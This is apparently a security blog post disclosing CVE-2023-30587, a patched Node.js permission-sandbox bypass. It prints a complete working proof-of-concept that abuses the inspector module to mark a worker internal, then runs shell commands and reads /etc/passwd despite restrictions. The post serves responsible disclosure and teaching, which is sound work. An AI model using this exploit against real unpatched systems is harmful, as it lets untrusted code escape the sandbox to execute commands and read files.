Breaking down the Node.js sandbox bypass CVE-2023-30587

Breaking down the Node.js sandbox bypass CVE-2023-30587

Turns out, a lot of people want to try to safely run untrusted code, and that's hard. Pixee Engineer Matt Austin (@mattaustin) recently found a bypass of the new and experimental Node.js sandbox in versions before 20.3.1, and it just received a $3K award from Internet Bug Bounty! We think these new Node.js features will help a lot of people, and we were excited to be able to help button it up a little bit. And because Matt is too lazy to blog, I'll be the one telling you about it.

The Vulnerability

The core problem was that restrictions made with the --experimental-permission flag could be bypassed by abusing the inspector module. The inspector is accessible from userland code without any special configuration or enabling CLI parameters -- is it weird to decide you want to debug your code, programmatically, after you start running it?

Anyway, the Worker class can take an argument (the kIsInternal Symbol) to create an "internal worker" that doesn't respect process-level restrictions.

You can't access this Symbol (kIsInternal) directly. However, the inspector module can, and it's not disabled when process-level restrictions are in place. If you're not familiar:

The node:inspector module provides an API for interacting with the V8 inspector.

If we attach inspector inside the Worker constructor before the new WorkerImpl is created we can use it to change the value of isInternal via a malicious conditional breakpoint.

The Exploit

Let's call the exploit bypass.js:

const { Session } = require('node:inspector/promises');

const session = new Session();
session.connect();

(async ()=>{
    await session.post('Debugger.enable');
    await session.post('Runtime.enable');

    global.Worker = require('node:worker_threads').Worker;

    let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
    let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
    let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
    let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });

    // find the line number where WorkerImpl is called. 
    const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;

    // WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
    await session.post("Debugger.setBreakpointByUrl", {
        lineNumber: lineNumber,
        url: "node:internal/worker",
        columnNumber: 0,
        condition: "((isInternal = true),false)"
    });

    new Worker(`
        const child_process = require("node:child_process");
        console.log(child_process.execSync("ls -l").toString());
        console.log(require("fs").readFileSync("/etc/passwd").toString())
    `, {
        eval: true,
        execArgv: [
            "--experimental-permission",
            "--allow-fs-read=*",
            "--allow-fs-write=*",
            "--allow-child-process",
            "--no-warnings"
        ]
    });

})()

Check out Matt's clever condition for the breakpoint, which overwrites the isInternal value during a boolean evaluation, which the debugger will call when deciding if it should "break" or not:

        condition: "((isInternal = true),false)"

You can run the exploit and prove the sandbox bypass with a command line this:

$ node --experimental-permission --allow-fs-read=$(pwd) bypass.js

If exploitation didn't work, you'd expect to see something like this:

node:internal/child_process:1103
  const result = spawn_sync.spawn(options);
                            ^

Error: Access to this API has been restricted

But you won't see that, you'll see /etc/passwd. 😬

Patched by Node.js

The Node.js team was responsive and quick to remediate this vulnerability. It was fixed in the June 20 2023 security release here: https://nodejs.org/en/blog/vulnerability/june-2023-security-releases

Further Research

There could be other ways to cause state changes to other internal APIs to achieve the same goal, but fortunately, most of the logic for sandboxing is in C land, so there's less attack surface from Node APIs.